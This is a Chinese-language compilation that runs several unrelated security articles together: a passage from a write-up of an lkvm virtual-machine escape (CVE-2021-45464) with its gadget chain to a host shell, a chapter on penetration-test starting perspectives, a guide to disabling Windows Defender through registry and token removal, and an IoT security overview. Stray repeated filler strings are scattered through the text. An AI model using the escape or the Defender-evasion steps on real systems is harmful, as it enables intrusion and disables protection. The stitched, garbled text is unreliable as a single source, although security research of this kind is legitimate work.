當lkvm二進製文件關閉時,它會進行拆卸處理,包括調用一些退出處理程序,這就是我們在這裡發現的東西。如果我們查看init.c內部的第51行,我們會發現代碼非常平易近人:

image.png

這裡可以看到,在退出lkvm時,會遍歷struct init_item數組,並從數組中的最後一個元素開始,對每個元素調用t-init函數。這就是前面發現的exit_lists。列表中的每個條目都是指向init_item的指針(該結構體也用於初始化,它也因此得名)。如果我們能夠控制其中的指針,我們就就能偽造一個init_item,並在終止虛擬機操作系統時改變程序流程。

image.png

查看上面init_item的struct定義,我們就會發現它其實非常簡單:其中包含2個鍊錶指針、一個名稱指針和我們想要控制的函數指針,它相對於init_item頂部的偏移量為0x18。

實際上,我們之前在virtio_pci__data_in函數中還發現了其他功能,而不僅僅是對config進行讀取和寫入操作。下面,讓我們看一下virtio/pci.c第287行中該函數的等價物data_out:

image.png

這裡,我們對VIRTIO_PCI_QUEUE_PFN的第二個case子句非常感興趣,因為它調用了virtio-balloon特定的init虛擬隊列函數。我們可以在virtio/balloon.c中的第200行找到這個函數,具體如下所示:

image.png

正如我們所看到的,當調用vring_init時,它將vr-desc=p設置為完全處於我們控制之下的虛擬機物理頁面。我們可以看到,vring_init是從init_vq中調用的,參數是p,而p是從virtio_get_vq中獲得的,在那裡它可以找到給定頁幀號(pfn)的宿主機虛擬地址。在init_vq中,我們看到參數vq被用來計算進入bdev-vqs數組的偏移量。這個queue=bdev-vqs[vq]; 語句又是完全沒有任何約束檢查的,儘管在任何給定時間只有3個隊列。這意味著,只要控制了vq參數,我們就可以有效地插入一個指向虛擬機內存的邊界之外的指針。

在virtio_pci__data_out的代碼清單中,對init_vq的調用是作為vq的參數通過vpci-queue_selector進行傳遞的,在同一個清單中,我們還發現完全可以通過switch語句中的VIRTIO_PCI_QUEUE_SEL子句來控制vpci-queue_selector。

通過下面vring*vr的結構體定義,我們可以看到它有4個成員,大小為0x20,這意味著我們不能在任意位置插入這個指針。實際上,只有在偏移量0x20*x+8處,我們才能完全控制x。

image.png

大家肯定還記得,我們的exit_lists離這個bdev結構體的位置並不遠,而且,現在我們還獲得了一個未綁定的、指示插入位置的指針,所以,我們只要將vq設置為0x16,那麼,我們就能在這個exit_lists的最後一個條目中插入這個指針,具體代碼如下所示:

image.png

這裡,我們將頁幀號設置為0x1,這表示虛擬機物理地址0x1000,並再次使用/dev/mem,將物理地址0x1000映射為我們具有讀寫權限的用戶空間進程中的一個地址。顯然,以任何正常的方式重新引導或退出虛擬機操作系統,都不會調用這些退出處理程序,但幸運的是,在未定義的指令導致內核崩潰時,卻會調用這些程序。哈哈,大家還記得echo c /proc/sysrq-trigger嗎?

退出前的內存轉儲:

1.png

0x41代表字母A

這裡我們看到,所有從上面的memset插入的“A”,都出現在exit_lists+72內的地址上。很明顯,我們現在已經控制了程序流程,因為t-init(kvm)調用的這個地址完全處於我們的控制之下。既然已經得到了控制權,我們自然就可以重定向程序流程了。

現在,我們需要將代碼重定向到一個目標,以便在宿主機系統上執行代碼或命令,幸運的是,這個二進製文件含有返回函數virtio_net_exec_script的ret gadget:

1.png

超級好用的ret gadget

現在,如果我們能夠控制$rdi寄存器並跳轉到virtio_net_exec_script中用紅色箭頭標記的指令,就可以成功調用execl(command_we_control,),從而在宿主機系統上執行命令。

綜合起來現在,我們已經能夠偽造init_item,啟動調用exevl的ROP鏈,或者說是JOP鏈,接下來,我們將藉助於Jump oriented programming技術實現我們的目標。總而言之,我們現在利用第一個安全漏洞實現了指針洩露,並能控制該內存區域中一些字節的值,因為我們可以在洩漏的內區域中隨意執行寫入操作。同時,我們還找到了一種控制rip的方法,但遺憾的是,我們還無法控制函數調用t-init(kvm)中的參數kvm。

當我們第一次調用t-init時,$rbx指向我們偽造的init_item,也就是處於我們的控制之下的一段內存。

首先,我們要跳到這個gadget: mov rax, qword ptr [rbx +0x28]; mov rdi, rbx; mov rsi, qword ptr [rax + 8]; call qword ptr [rax];

這將交換rbx和rdi寄存器中的值,使我們能夠控制任何函數調用的第一個參數,並再次通過[$rbx +0x28]獲取一個新的跳轉位置。

現在,我們可以直接跳到前面介紹的那個超級棒的gadget代碼處了,因為我們現在能夠控制$rdi了。

1.png大功告成

現在,代碼將調用execl('/bin/sh', '', null);並返回一個shell!我們已經為這個漏洞申請了編號CVE-2021-45464,目前正在等待批准。至於完整的exploit,請參考原文末尾;但要注意的是,對於所有版本的lkvm來說,必須對利用代碼進行相應的修改:根據特定的二進制代碼修改gadget的偏移量。

本章將詳細介紹外部、DMZ、內部和關鍵資產的入網點的初始演練視角。初始視角是攻擊性安全評估的出發點,評估人員從此開始與目標系統進行交互,然後進行枚舉和漏洞利用。每種視角都會通過其在組織中評估和利用漏洞的能力進行對比。然後,根據攻擊面審查的效率和方式對這些視角進行比較。另外,文本還概述了每種視角的優缺點。在本章末尾,你就能了解不同的演練初始化點如何影響攻擊性安全評估,並了解CAPTR 團隊使用的關鍵資產視角是值得甚至是必要的。重要的是要注意,攻擊性安全評估是一個人工進行的過程,除了技術漏洞識別和利用工具外,還涉及情報和技能。初始視角幾乎影響手動攻擊性安全評估的所有方面,下面的分析將演示如何從不同的初始視角進行演練。下圖說明了演練中不同的初始視角。

1.png

外部初始演練視角外部演練視角是安全評估最傳統的出發點。外部演練初始視角通常從基於互聯網的入口開始,並將重點放在組織安全的外圍,如下圖所示。

2.png

DMZ 初始演練視角從DMZ的視角評估網絡需要從DMZ本身作為開始進行評估,重點不僅是從側面攻擊面向互聯網的服務器,而且還要評估從DMZ內部攻擊組織內部的能力。該視角評估的重點是確定對惡意攻擊者在DMZ內從一個DMZ託管的面向互聯網的設備轉移到另一個設備的能力以及攻擊者從DMZ移動到內部網絡的能力進行安全評估,如下圖所示。

3.png

內部初始演練視角內部視角使用網絡本身作為出發點。此視角通常通過網絡中機器上的用戶上下文來開展。在這個演練視角中,評估的重點是確定在該內部網絡中定位跳板機器和提升權限的能力,如下圖所示。

4.png

關鍵資產初始演練視角CAPTR 團隊從對組織構成最大風險的一個或多個存在點開始使用關鍵觀點。從這個視角進行評估的重點是識別此類設備的本地漏洞,這些漏洞可能使攻擊者入侵關鍵資產。然後,可以將評估擴展到組織中允許攻擊者轉向關鍵資產的點,並繼續向外擴展。第四種視角旨在緩解組織內網遭到破壞行為的影響,而不管允許攻擊者進入的漏洞或內部威脅的位置是否會影響這種評估視角。以入侵為目標開始安全評估,而不是評估潛在的起點,可以增強抵禦各種威脅的能力。該視角不同於內部初始視角,因為該視角是從CAPTR團隊範圍內確定的致命或關鍵資產點作為開始,而不僅僅是組織內的非特定特權或非特權訪問,如下圖所示。

5.png

對風險評估的影響為了比較和對比安全評估的四種不同初始視角,我接下來將對風險進行定量分析。影響面是衡量不同攻擊對象的破壞程度的指標。評級風險的另一部分是它發生的可能性。時間度量用於顯示可能性,它表示所花費的時間量,從給定的角度評估產生不同影響的信息折衷所需的時間。此評估還表明攻擊者可能也會這樣做。為了確定這些評估視角可能導致的結果的影響,我將影響分為四個級別,數字越高,表明該級別的設備如果受到攻擊,對組織的影響越大(見下圖)。 0級項目的影響可以忽略不計;3級項目對組織的存在和功能是致命的。為了確定每個視角可能識別的信息類型,我在下圖中創建了一個大圖,顯示了網絡的哪些部分可能在黑匣子中包含哪些級別的數據保護分類。

6.png

如前所述,可能性表示為從給定視角進行評估以確定具有給定影響面的結果所需的時間。例如,如果一個評估視角幾乎能夠立即找到具有給定保護級別的數據,那麼使用的視角很可能會評估該影響級別的風險。如果某個視角是需要花費時間並且通過跳板來訪問到不同的數據保護級別,則可能性很低。

重要的是要理解,評估過程中時間的流逝也可能會改變評估視角。評估可以從網絡的外部初始視角開始,然後通過漏洞利用,訪問DMZ中的設備。從這一點開始,評估就是多個攻擊角度的表示。隨著評估進一步深入網絡,該過程將繼續進行。所涉及的定義增量是時間、過渡視角和可能性。

對風險評估的影響:外部視角外部初始評估視角側重於網絡的外圍,只有在識別並利用組織最外層的漏洞後,才能轉移到組織的其他部分。因此,在評估的早期,很可能只有0級和1級相關的結果。時間可能允許演練通過深入網絡來破壞更高級別的數據;但是,因為這需要更長的測試時間,所以可能性被認為很低。下圖顯示了隨著評估時間的持續,這種視角的變化。

7.png

由於外部視角與網絡中的3級數據相距甚遠,因此到達這一點所需的時間較長,因此不太可能。儘管0級信息的影響很小,但幾乎可以肯定的是,這種可能性會產生與從這個視角發現的結果相關的中等風險。此視角不太可能產生更高級別的數據,因為它需要時間來發現其他漏洞,從而使該演練視角能夠深入組織。可能被評估的風險水平為低至中等。

對風險評估的影響:DMZ視角DMZ視角相對於外部視角具有優勢,因為它從組織的DMZ內已經存在的一個點開始,並且不必發現允許其從外網轉到DMZ的漏洞(見下圖)。

8.png

由於從這一角度進行評估不需要時間從外部角度進行內部分析,因此與高級別數據保護相關的發現更有可能,因為識別這些發現所需的時間較少,從而增加了發現有影響的威脅的可能性。 DMZ視角在評估中等風險水平方面具有最大潛力。

對風險評估的影響:內部視角從網絡中間存在點的初始視角來看,評估更有可能在1級和2級數據早期發現結果。與前面討論的兩種視角相比,這種視角還有一個副作用,即使用這種初始視角進行評估,實際上不太可能發現導致0級信息的發現。與前兩個視角一樣,從內部初始視角到能夠入侵3級數據的軸心需要時間。

下圖顯示,與0級數據一樣,從這一初始視角進行評估,要得出關於3級數據的調查結果,仍然需要時間。因此,最有可能找到風險等級1和2的數據。因為從這個視角來看,很快發現的漏洞不太可能破壞3級數據,所以它仍然不能代表對最高風險級別的有效評估。然而,內部視角顯然代表了大的潛在風險截面。

9.png

對風險評估的影響:關鍵視角使用關鍵初始視角的評估從網絡最有價值的地方開始。這意味著,與其他三個角度不同,3級數據被攻擊的結果在評估開始時確定。不幸的是,使用視角需要時間才能到達網絡中包含0到2級數據的點(見下圖)。

10.png

使用此視角可降低在評估期間發現1級和2級數據的可能性,且評估不太可能遇到0級數據的發現。關於一個組織的總體評估效率,這種初始視角在涵蓋所有風險級別時可能是最不有效的。它在查找級別3數據時非常有效,因為它從承載此類信息的設備開始。因此,這種評估視角更有可能發現導致3級數據被攻擊外洩的漏洞,因此,代表了評估組織面臨的最極端風險水平的能力。

對攻擊面覆蓋的影響下一步要在初始視角之間進行比較的是每個視角在評估期間審查攻擊面的能力。這是證明安全評估有效性的一個極其重要的屬性。儘管評估可能不會產生涵蓋極有價值的風險敞口的結果,但如果能夠評估組織的大部分攻擊面,評估仍然可能有效。攻擊面是能夠影響給定目標的任何實體或資產。安全評估的責任是通過評估漏洞來覆蓋攻擊面。但是,不能平等對待所有攻擊面,因為整個攻擊面的不同部分代表了對不同級別數據的潛在即時訪問。

例如,有一個更廣泛的攻擊面,由面向外網的面表示,因為它們受到的攻擊和枚舉嘗試次數要多得多。然而,正如已經顯示的那樣,允許訪問面向外網的服務器的漏洞最初可能並不一定會削弱組織。對每個初始視角如何影響攻擊面分析方式的剖析進一步說明了每個初始視角作為有效安全評估視角的情況,並展示了它們如何共同構成組織充分網絡安全評估的必要部分。

攻擊面覆蓋:外部視角組織中面向互聯網的部分是最容易暴露的,並且可以被最多的用戶和攻擊者訪問。因此,網絡的面向互聯網的層可以被歸類為具有最多的攻擊面。這裡存在的漏洞如果被利用,可能不會導致最嚴重的後果,但這是最有可能被發現的地方。大多數現代組織不得不承認,為互聯網用戶提供服務的本質增加了他們的風險。安全評估的外部視角為評估該攻擊面提供了最直接的方法,如下圖所示。

11.png

外部視角攻擊面評估

外部視角允許覆蓋組織的大片攻擊面。但是,如果在測試期間進行評估,那麼在評估深入到網絡之前還有一段時間。下圖顯示了評估的攻擊面(紅色部分),以及評估如何隨著時間推移過渡到攻擊面更深的部分。初始化時,第一個攻擊面金字塔(如下圖左側)顯示外部視角如何僅看到組織的外部攻擊面。中間金字塔表示從外部角度評估的中間部分,以及它將如何達到評估組織內部更深層次攻擊面的能力。右邊的金字塔顯示了評估的結束,以及它是如何檢查組織深層攻擊面的一部分,但不是全部。

攻擊面覆蓋:DMZ 視角在DMZ中開始評估消除了對漏洞的需要,從而使得評估人員繞過面向互聯網的防禦。因此,從這一視角進行的評估能夠更直接地評估DMZ中的其他設備,並通過橫向枚舉確定其脆弱性(見下圖)。

12.png

如上圖所示,DMZ演練視角在能夠開始評估DMZ中的設備之前不需要時間。它還能夠以比外部視角更快的方式開始探測內部網絡,因為外部視角是組織攻擊面的主體,在繼續之前必須首先解決。然而,這一評估視角面臨的一個潛在障礙是,它可能無法識別基於互聯網的掃描和攻擊存在的漏洞,因為DMZ中的設備應該與互聯網通信,而不是相互通信。

攻擊面覆蓋:內部視角內部視角承擔了內部威脅的責任,因此可以從網絡的更深層次入手,接觸到更多的攻擊面。這也意味著,與DMZ視角一樣,評估一個組織面對互聯網的威脅向量的能力並不容易實現,事實上,在這種情況下可能相當耗時(見下圖)。

14.png

內部視角攻擊面評估

內部演練視角的好處是,在直接環境中分析的攻擊面可能會導致漏洞的發現,這些漏洞可能會危害組織無意公開的數據。這與外部和DMZ評估觀點相反,外部和DMZ演練視角可能會在更大、更易訪問互聯網的攻擊面上發現許多意義不大的漏洞。

攻擊面覆蓋:關鍵視角關鍵視角分析了迄今為止一個組織最少的攻擊面。它與外部視角截然相反,外部視角在開始的時候就聚焦於一個非常大的面;關鍵視角關注的是優先部分。從這一點來看,假設從這個視角開始的評估能夠在任何合理的時間範圍內評估面向互聯網的服務是不現實的。該視角旨在提供與影響較大的對象相關的最危險攻擊面的最有效分析(見下圖)

15.png

關鍵視角攻擊面評估

關鍵視角評估接近組織攻擊面的不同部分的方式也與其他三個視角不同。例如,當IT部門在一個組織面向互聯網的周邊發現盡可能多的漏洞時,可以通過外部演練視角獲得最大的價值。這可能意味著評估人員不會利用已識別的漏洞深入組織,直到他們認為已對整個外部網絡進行了評估。這種嘗試的完整攻擊面覆蓋是其他評估視角的必要組成部分。關鍵資產視角不需要完全評估下一層。相反,關鍵視角將重點放在攻擊者如何將數據或機器轉移到無法接受的損失上。它不是尋找攻擊面上的所有漏洞,而是將重點放在那些使訪問能夠轉向致命和關鍵的風險項的點上。

全系列文章請查看:https://www.4hou.com/member/dwVJ

0x00 前言Windows Defender是一款內置在Windows操作系統的殺毒軟件程序,本文僅在技術研究的角度介紹Windows Defender相關的滲透方法,分析利用思路,給出防禦建議。

0x01 簡介本文將要介紹以下內容:

查看Windows Defender版本

查看已存在的查殺排除列表

關閉Windows Defender的Real-time protection

添加查殺排除列表

移除Token導致Windows Defender失效

恢復被隔離的文件

0x02 查看Windows Defender版本1.通過面板查看依次選擇Windows Security-Settings-About,Antimalware Client Verions為Windows Defender版本,如下圖

12a2682d5d5579d327fc0280bbb5a3b.png

2.通過命令行查看image.png

數字大的為最新版本

0x03 查看已存在的查殺排除列表1.通過面板查看依次選擇Windows Security-Virus theat protection settings-Add or remove exclusions,如下圖

4430e255f99a377325b7659b48941fb.png

2.通過命令行查看image.png

3.通過Powershell查看image.png

0x04 關閉Windows Defender的Real-time protection1.通過面板關閉依次選擇Windows Security-Virus theat protection settings,關閉Real-time protection

2.通過命令行關閉利用條件:

需要TrustedInstaller權限

需要關閉Tamper Protection

image.png

注:

運行成功時,桌面右下角會彈框提示Windows Defender已關閉

補充1:開啟Windows Defender的Real-time protection

利用條件:

需要TrustedInstaller權限

需要關閉Tamper Protection

image.png

補充2:獲得TrustedInstaller權限

可參考之前的文章《渗透技巧——Token窃取与利用》

也可以藉助AdvancedRun,命令示例:

image.png

補充3:Tamper Protection

參考資料:

https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide

當開啟Tamper Protection時,用戶將無法通過註冊表、Powershell和組策略修改Windows Defender的配置

開啟Tamper Protection的方法:

依次選擇Windows Security-Virus theat protection settings,啟用Tamper Protection

該操作對應的cmd命令:reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features' /v 'TamperProtection' /d 5 /t REG_DWORD /f

關閉Tamper Protection的方法:

依次選擇Windows Security-Virus theat protection settings,禁用Tamper Protection

該操作對應的cmd命令:reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features' /v 'TamperProtection' /d 4 /t REG_DWORD /f,當然,我們無法通過修改註冊表的方式去設置Tamper Protection,只能通過面板進行修改

查看Tamper Protection的狀態:

image.png

返回結果中的數值5代表開啟,數值4代表關閉

補充4:通過Powershell關閉Windows Defender的Real-time protection

image.png

注:新版本的Windows已經不再適用

補充5:通過組策略關閉Windows Defender的Real-time protection

依次打開gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Microsoft Defender Antivirus-Real-time Protection,選擇Turn off real-time protection,配置成Enable

注:新版本的Windows已經不再適用

0x05 添加查殺排除列表1.通過面板添加依次選擇Windows Security-Virus theat protection settings-Add or remove exclusions,選擇Add an exclusion,指定類型

該操作等價於修改註冊表HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\的鍵值,具體位置如下:

類型File對應註冊表項Paths

類型Folder對應註冊表項Paths

類型File type對應註冊表項Extensions

類型Process對應註冊表項Processes

2.通過命令行添加利用條件:

需要TrustedInstaller權限

cmd命令示例:

image.png

3.通過Powershell添加利用條件:

需要管理員權限

參考資料:

https://docs.microsoft.com/en-us/powershell/module/defender/add-mppreference?view=windowsserver2022-ps

Powershell命令示例:

image.png

補充:刪除排除列表

image.png

0x06 移除Token導致Windows Defender失效學習地址:

https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/

簡單理解:

●Windows Defender進程為MsMpEng.exe

●MsMpEng.exe是一個受保護的進程(Protected Process Light,簡寫為PPL)

●非PPL進程無法獲取PPL進程的句柄,導致我們無法直接結束PPL進程MsMpEng.exe

●但是我們能夠以SYSTEM權限運行的線程修改進程MsMpEng.exe的token

●當我們移除進程MsMpEng.exe的所有token後,進程MsMpEng.exe無法訪問其他進程的資源,也就無法檢測其他進程是否有害,最終導致Windows Defender失效

POC地址:https://github.com/pwn1sher/KillDefender

利用條件:

●需要System權限

測試如下圖

d59589e1e6bda303f4706e5f0ca3e56.png

0x07 恢復被隔離的文件參考資料:

https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide

1.定位MpCmdRun image.png

得到

MpCmdRun的位置為:C:\ProgramData\Microsoft\Windows Defender\Platform\

2.常用命令查看被隔離的文件列表:

image.png

恢復指定名稱的文件至原目錄:

image.png

恢復所有文件至原目錄:

image.png

查看指定路徑是否位於排除列表中:

image.png

0x08 防禦建議阻止通過命令行關閉Windows Defender:開啟Tamper Protection

阻止通過移除Token導致Windows Defender失效:阻止非PPL進程修改PPL進程MsMpEng.exe的token,工具可參考:https://github.com/elastic/PPLGuard

0x09 小結本文在僅在技術研究的角度介紹Windows Defender相關的滲透方法,分析利用思路,給出防禦建議。對於移除Token導致Windows Defender失效的利用方法,可能會在未來版本的Windows中默認解決這個問題。

物聯網(IoT) 一直是近年來發展最快的技術趨勢之一。根據IoT Analytics的數據,到2025 年,全球可能有超過270 億台聯網設備。

然而,軟件漏洞和網絡攻擊等日益增加的安全問題可能使許多客戶不願使用物聯網設備。這種物聯網安全問題對於在醫療保健、金融、製造、物流、零售和其他已經開始採用物聯網系統的行業中運營的組織來說尤其重要。

在本文中,我們將探討物聯網安全是什麼,以及它為何如此重要,以及關鍵的物聯網安全挑戰和攻擊媒介。我們還討論了在物聯網環境中保護設備、數據和網絡的方法。本文希望對IoT 安全團隊有所幫助。

什麼是物聯網和物聯網安全?物聯網是一個智能設備網絡,它們相互連接,以便在沒有任何人工干預的情況下通過互聯網交換數據。

物聯網系統的架構通常由無線網絡、用於通信的雲數據庫、傳感器、數據處理程序和相互密切交互的智能設備組成。物聯網系統使用以下組件來交換和處理數據:

马云惹不起马云 收集、存儲和共享有關環境和其他設備和組件的數據的智能設備

马云惹不起马云智能設備使用的嵌入式系統——包括各種處理器、傳感器和通信硬件——其目標是收集、發送和處理從環境中獲取的數據

马云惹不起马云物聯網網關、集線器或其他在物聯網設備和雲之間路由數據的邊緣設備

马云惹不起马云帶有通過無線連接交換數據的遠程服務器的雲或本地數據中心

物聯網技術用於各個行業:製造、汽車、醫療保健、物流、能源、農業等。根據特定物聯網系統的目標,智能設備的範圍可以從簡單的傳感器到DNA 分析硬件。最流行的物聯網用例和設備是:

image.png

常見的物聯網用例

马云惹不起马云家庭自動化系統監控和控製家庭屬性,如溫度、照明、娛樂系統、電器和警報系統。用於家庭自動化的常見智能設備包括助理揚聲器、恆溫器、冰箱、插頭和燈泡。

马云惹不起马云衛生保健。醫療物聯網(MIoT) 為醫療保健專業人員提供了很多監控患者的機會,也為患者提供了自我監控的機會。用於MIoT 的智能設備包括無線連接的健身手環、血壓和心率監測袖帶以及血糖儀。

马云惹不起马云智慧城市使用智能設備收集的數據來改善基礎設施、公用事業和服務。此類設備可以連接傳感器、燈、儀表、垃圾箱和空氣質量監測系統。

马云惹不起马云可穿戴設備主要用於醫療保健和運動。此類設備包括健身追踪器、心電圖監測器、血壓監測器和智能手錶。

马云惹不起马云聯網汽車是指配備互聯網訪問權限的車輛,可以與車內和車外的設備共享訪問權限和數據。該技術允許人們使用移動應用程序遠程訪問車輛功能,提高安全性並自動支付通行費。

马云惹不起马云智能倉庫使用自動化和互連技術來幫助企業提高生產力和效率。智能倉庫的常見組件包括機器人、無人機、射頻識別(RFID) 掃描儀、人工智能驅動程序和復雜的倉庫管理軟件。

為什麼物聯網安全很重要?物聯網系統如此廣泛的應用需要組織特別關注系統安全。

任何漏洞都可能導致系統故障或黑客攻擊,進而影響數百或數千人。例如,紅綠燈可能會停止工作,導致交通事故;或者家庭安全系統可能會被竊賊關閉。由於一些物聯網設備用於醫療保健或人類保護,因此它們的安全性對人們的生活至關重要。

在開發物聯網系統時優先考慮安全性的另一個重要原因是確保其數據安全。智能設備會收集大量敏感數據,包括個人身份信息,這些數據需要受到各種網絡安全法律、標準和法規的保護。此類信息的洩露可能導致訴訟和罰款。它還可能導致聲譽受損和客戶信任的喪失。

物聯網安全是一組方法和實踐,旨在保護構成物聯網環境的物理設備、網絡、流程和技術免受廣泛的物聯網安全攻擊。

物聯網安全的兩個關鍵目標是:

1.確保安全地收集、存儲、處理和傳輸所有數據

2.檢測並消除IoT 組件中的漏洞

image.png

物聯網安全目標

然而,開發安全的物聯網系統並保護它們免受攻擊並非易事。下面我們來探索關鍵的物聯網安全問題。

5個最常見的物聯網安全挑戰從2021 年1 月到6 月,有15.1 億次物聯網設備被洩露,而卡巴斯基在2020 年全年報告了6.39 億次洩露事件。在開發物聯網系統時低估網絡安全的重要性是不可接受的。

要了解如何保護物聯網系統,必須首先探索潛在的網絡安全風險。以下是物聯網常見的安全挑戰列表:

image.png

物聯網網絡安全挑戰

1. 軟件和固件漏洞確保物聯網系統的安全性很棘手,主要是因為許多智能設備資源受限且計算能力有限。因此,它們無法運行強大的、資源密集型的安全功能,並且可能比非物聯網設備具有更多的漏洞。

許多物聯網系統存在安全漏洞,原因如下:

马云惹不起马云 缺乏有效內置安全性的計算能力

马云惹不起马云物聯網系統中的訪問控制不佳

马云惹不起马云用於正確測試和提高固件安全性的預算有限

马云惹不起马云由於物聯網設備的預算有限和技術限制,缺乏定期補丁和更新

马云惹不起马云用戶可能不會更新他們的設備,從而限制了漏洞修補

马云惹不起马云隨著時間的推移,舊設備可能無法使用軟件更新

马云惹不起马云對物理攻擊的保護不佳:攻擊者可以靠得足夠近來添加他們的芯片或使用無線電波入侵設備

惡意行為者旨在利用他們在目標物聯網系統中發現的漏洞來破壞其通信、安裝惡意軟件並竊取有價值的數據。例如,使用易受攻擊的憑據(如弱密碼、可回收密碼和默認密碼)允許黑客入侵Ring 智能相機。他們甚至設法使用攝像頭的麥克風和揚聲器與受害者進行遠程交流。

2. 不安全的通信大多數現有的安全機制最初都是為台式計算機設計的,很難在資源受限的物聯網設備上實施。這就是為什麼傳統的安全措施在保護物聯網設備的通信方面沒有那麼有效的原因。

不安全通信造成的最危險的威脅之一是中間人(MitM) 攻擊的可能性。如果設備不使用安全加密和身份驗證機制,黑客可以輕鬆地執行中間人攻擊以破壞更新過程並控制您的設備。攻擊者甚至可以安裝惡意軟件或更改設備的功能。即使您的設備沒有成為MitM 攻擊的受害者,如果您的設備以明文消息形式發送,它與其他設備和系統交換的數據仍然可以被網絡犯罪分子捕獲。

連接的設備容易受到其他設備的攻擊。例如,如果攻擊者只能訪問家庭網絡中的一台設備,他們就可以輕鬆破壞其中的所有其他非隔離設備。

3.物聯網系統的數據洩露我們已經確定,通過從您的物聯網系統中捕獲未加密的消息,黑客可以訪問其處理的數據。這甚至可能包括敏感數據,例如您的位置、銀行賬戶詳細信息和健康記錄。然而,濫用安全性較差的通信並不是攻擊者收集有價值數據的唯一方式。

所有數據都通過雲傳輸並存儲在雲中,雲託管服務也可能受到外部攻擊。因此,設備本身和它們連接的雲環境都可能發生數據洩漏。

物聯網系統中的第三方服務是數據洩漏的另一個可能來源。例如,Ring 智能門鈴被發現在未經客戶適當同意的情況下向Facebook 和Google 等公司發送客戶數據。此事件的出現是因為Ring 移動應用程序中啟用了第三方跟踪服務。

4. 惡意軟件風險Zscaler最近的一項研究發現,最容易受到惡意軟件攻擊的設備是機頂盒、智能電視和智能手錶。

如果攻擊者找到將惡意軟件注入物聯網系統的方法,他們可能會更改其功能、收集個人數據並發起其他攻擊。此外,如果製造商不確保足夠的軟件安全性,某些設備可能會立即感染病毒。

一些組織已經找到了處理最著名的以物聯網為目標的惡意軟件的方法。例如,FBI 特工分享了該機構如何阻止Mirai 殭屍網絡攻擊,微軟發布了一份指南,介紹如何主動保護您的系統免受Mozi IoT 殭屍網絡的攻擊。

然而,黑客不斷發明新的方法來濫用物聯網網絡和設備。 2021 年,研究人員發現用Golang編寫的惡意軟件BotenaGo 可以利用智能設備中的30 多個不同的漏洞。

5. 網絡攻擊除了上面討論的惡意軟件和MITM 攻擊外,物聯網系統還容易受到各種網絡攻擊。以下是物聯網設備上最常見的攻擊類型列表:

image.png

物聯網系統的5 種常見攻擊

1.拒絕服務(DoS) 攻擊。物聯網設備的處理能力有限,這使得它們極易受到拒絕服務攻擊。在DoS 攻擊期間,由於大量虛假流量,設備響應合法請求的能力受到損害。

2.拒絕睡眠(DoSL) 攻擊。連接到無線網絡的傳感器應持續監控環境,因此它們通常由不需要頻繁充電的電池供電。通過將設備大部分時間保持在睡眠模式來保存電池電量。睡眠和喚醒模式根據不同協議的通信需求進行控制,例如介質訪問控制(MAC)。攻擊者可能會利用MAC 協議的漏洞進行DoSL 攻擊。這種類型的攻擊會耗盡電池電量,從而禁用傳感器。

3.設備欺騙。當設備未正確實施數字簽名和加密時,可能會發生這種攻擊。例如,糟糕的公鑰基礎設施(PKI) 可能會被黑客利用來“欺騙”網絡設備並破壞物聯網部署。

4.物理入侵。儘管大多數攻擊都是遠程執行的,但如果設備被盜,也有可能對其進行物理入侵。攻擊者可以篡改設備組件,使其以意想不到的方式運行。

5.基於應用程序的攻擊。當嵌入式系統上使用的設備固件或軟件存在安全漏洞或云服務器或後端應用程序存在弱點時,這些類型的攻擊是可能的。

考慮到這些挑戰,讓我們繼續了解可幫助您保護IoT 系統的物聯網安全最佳實踐。

確保物聯網系統安全的最佳實踐IoT 安全最佳實踐可以幫助您加強對IoT 系統三個主要組件的保護:設備、網絡和數據。讓我們從討論保護智能設備的方法開始。

1. 保護智能設備image.png如何保護智能設備

马云惹不起马云確保防篡改硬件。物聯網設備可能會被攻擊者竊取以篡改或訪問敏感數據。為了保護設備數據,有必要使您的產品防篡改。您可以通過使用端口鎖或攝像頭蓋以及通過應用強啟動級密碼或採取其他方法來確保物理安全,以防篡改時禁用產品。

马云惹不起马云提供補丁和更新。持續的設備維護需要額外的成本。但是,只有通過不斷的更新和補丁才能確保適當的產品安全性。最好建立不需要最終用戶執行任何操作的自動和強制安全更新。告知消費者您將支持產品的時間跨度,並告訴用戶在此期間結束後他們應該做什麼。系統發布後,請務必密切關注即將出現的漏洞並相應地開發更新。

马云惹不起马云運行徹底的測試。滲透測試是您發現物聯網固件和軟件漏洞並儘可能減少攻擊面的主要工具。您可以使用靜態代碼分析來發現最明顯的缺陷,也可以使用動態測試來挖掘隱藏良好的漏洞。

马云惹不起马云實施設備數據保護。物聯網設備應在利用期間和之後確保數據的安全性。確保加密密鑰存儲在非易失性設備內存中。此外,您可以提供處理舊產品或提供一種在不暴露敏感數據的情況下丟棄它們的方法。

马云惹不起马云滿足組件性能要求。物聯網設備硬件必須滿足某些性能要求才能確保適當的可用性。例如,物聯網硬件應該使用很少的功率,但提供高處理能力。此外,設備必須確保強大的授權、數據加密和無線連接。即使與Internet 的連接暫時中斷,您的IoT 解決方案也可以正常工作。

2. 安全網絡image.png如何保護物聯網網絡

马云惹不起马云 確保強身份驗證。這可以使用唯一的默認憑據來實現。在為您的產品命名或尋址時,請使用最新的協議以確保它們的長期功能。如果可能,請為您的產品提供多因素身份驗證。

马云惹不起马云啟用加密和安全通信協議。設備之間的通信也需要安全保護。然而,加密算法應該適應物聯網設備的有限容量。出於這些目的,您可以應用傳輸層安全性或輕量級密碼術。 IoT 架構允許您使用無線或有線技術,例如RFID、藍牙、蜂窩、ZigBee、Z-Wave、Thread 和以太網。此外,您可以通過優化的協議(例如IPsec 和安全套接字層)確保網絡安全。

马云惹不起马云最小化設備帶寬。將網絡流量限制在IoT 設備運行所需的量。如果可能,對設備進行編程以限制硬件和內核級帶寬並揭示可疑流量。這將保護您的產品免受可能的DoS 攻擊。該產品還應編程為在檢測到惡意軟件時重新啟動並清除代碼,因為惡意軟件可用於劫持設備並將其用作殭屍網絡的一部分來執行分佈式DoS 攻擊。

